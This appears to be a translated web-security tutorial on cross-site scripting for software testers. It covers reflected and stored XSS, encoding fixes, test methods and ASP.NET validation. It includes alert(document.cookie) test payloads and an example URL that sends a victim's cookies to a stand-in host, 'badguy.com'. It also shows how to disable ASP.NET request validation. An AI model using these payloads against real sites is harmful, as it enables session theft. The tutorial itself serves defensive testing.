Web Security Testing XSS
XSS Full Name (Cross Site Scripting) Cross-site scripting attack is the most common vulnerability in web programs. It refers to an attacker embedding client scripts (such as JavaScript) into a web page. When the user browses this web page, the script will be executed on the user's browser, thereby achieving the attacker's purpose. For example, obtaining the user's cookies, navigating to malicious websites, carrying Trojans, etc.
As a tester, you need to understand the principles of XSS, attack scenarios, and how to fix them. Only by effectively preventing XSS.
Reading Contents
How does XSS happen
If there is a textbox below
<input type="text" name="address1" value="value1from">
value1from is input from the user. If the user does not enter value1from, but enters "/><script>alert(document.cookie)</script><!- Then it will become
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">
The embedded JavaScript code will be executed
Or the user enters "onfocus="alert(document.cookie) then it will become
<input type="text" name="address1" value="" onfocus="alert(document.cookie)">
When the event is triggered, the embedded JavaScript code will be executed
The power of the attack depends on what script the user inputs
Of course, the data submitted by the user can also be sent to the server through QueryString (placed in the URL) and cookies. For example, the following figure
HTML Encode
XSS happens because the data entered by the user becomes code. So we need to perform HTML Encode processing on the data entered by the user. Encode special characters such as "brackets", "single quotes", and "quotes".
Already available methods are provided in C#, just call HttpUtility.HtmlEncode("string <scritp>") . (Requiring the System.Web assembly)
Fiddler also provides a very convenient tool, click the "TextWizard" button on the Toolbar
XSS attack scenario
1. The Dom-Based XSS vulnerability attack process is as follows
Tom discovered an XSS vulnerability in a page in Victim.com.
For example: http://victim.com/search.asp?term=apple
The code of the Search.asp page in the server is roughly as follows
<html> <title></title> <body> Results for <%Reequest.QueryString("term")%> ... </body></html>Tom first creates a website http://badguy.com to receive information from "stealing".
Then Tom constructs a malicious url (as follows) and sends it to Monica in some way (email, QQ)
http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>
Monica clicks on this URL, and the malicious Javascript code embedded in the URL will be executed in Monica's browser. Then Monica's cookies on the victim.com website will be sent to the badguy website. In this way, Monica's information on victim.com was stolen by Tom.
2. Stored XSS (Stored XSS vulnerability), this type is a vulnerability that is widely used and may affect the security of large web servers. The attacker uploads the attack script to the web server, making all users who access the page face the possibility of information leakage. The attack process is as follows
Alex discovered an XSS vulnerability on site A that allows the attack code to be saved in a database.
Alex has published an article with malicious JavaScript code embedded in it.
When other people, such as Monica, when accessing this article, the malicious Javascript code embedded in the article will be executed in Monica's browser, and its session cookies or other information will be stolen by Alex.
Dom-Based XSS vulnerability threatens individual users, while stored XSS vulnerabilities will threaten a large number of users.
XSS vulnerability fix
Principle: Don't trust the data entered by the customer
Note: The attack code is not necessarily in <script></script>
How to test XSS vulnerabilities
Method 1: View the code and find key variables. The client transmits data to the web server. Generally, in three ways, Querystring, Form forms, and cookies. For example, in ASP programs, the client's variables are obtained through the Request object.
<%strUserCode = Request.QueryString("code");strUser = Request.Form("USER");strID = Request.Cookies("ID");%>If the variable is not processed by htmlEncode, then there is an XSS vulnerability in this variable
Method 2: Prepare the test script,
"/><script>alert(document.cookie)</script><!--<script>alert(document.cookie)</script><!--"onclick="alert(document.cookie)
In the Textbox or other places where data can be entered, enter these test scripts to see if the dialog box can pop up. If it can pop up, it means there is an XSS vulnerability
Check out which variables are passed to the web server through the URL, and return the values of these variables to our test script. Then see if our script can be executed
Method 3: Automatically test XSS vulnerabilities
There are many XSS scanning tools available now. Implementing XSS automated testing is very simple, you only need to use the HttpWebRequest class. Put the xss test script. Send to the web server. Then check whether our XSS test script has been injected in HttpWebResponse.
The difference between HTML Encode and URL Encode
At the beginning, I always confused these two things, but in fact they were two different things.
HTML encoding has been introduced before. URL encoding is to comply with the url specifications. Because in the standard url specification, Chinese and many characters are not allowed to appear in the url.
For example, search for "test Chinese characters" in baidu. The URL will become
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477
URL encoding is: All non-alphanumeric characters will be replaced with a percent sign (%) followed by two hexadecimal numbers, and spaces will be encoded as a plus sign (+)
Already available methods are provided in C#, just call HttpUtility.UrlEncode("string <scritp>") . (Requiring the System.Web assembly)
Fiddler also provides a very convenient tool, click the "TextWizard" button on the Toolbar
XSS filter in browser
In order to prevent XSS from occurring, many browser manufacturers have added security mechanisms to their browsers to filter XSS. For example, IE8, IE9, Firefox, Chrome. All have security mechanisms for XSS. The browser blocks XSS. For example, the following picture
If you need to do a test, it is best to use IE7.
XSS security mechanism in ASP.NET
ASP.NET has a mechanism to prevent XSS. The submitted form will automatically check whether XSS exists. When the user tries to enter the XSS code, ASP.NET will throw an error as shown in the following figure.
Many programmers have no idea about security, and they don’t even know that there is XSS. ASP.NET is safe by default at this point. In this way, even programmers without security awareness can write a "safer website".
If you want to disable this security feature, you can use <%@ Page validateRequest="false" %>
The above is the web security test XSS. We will continue to organize relevant software testing materials in the future. Thank you for your support for this site!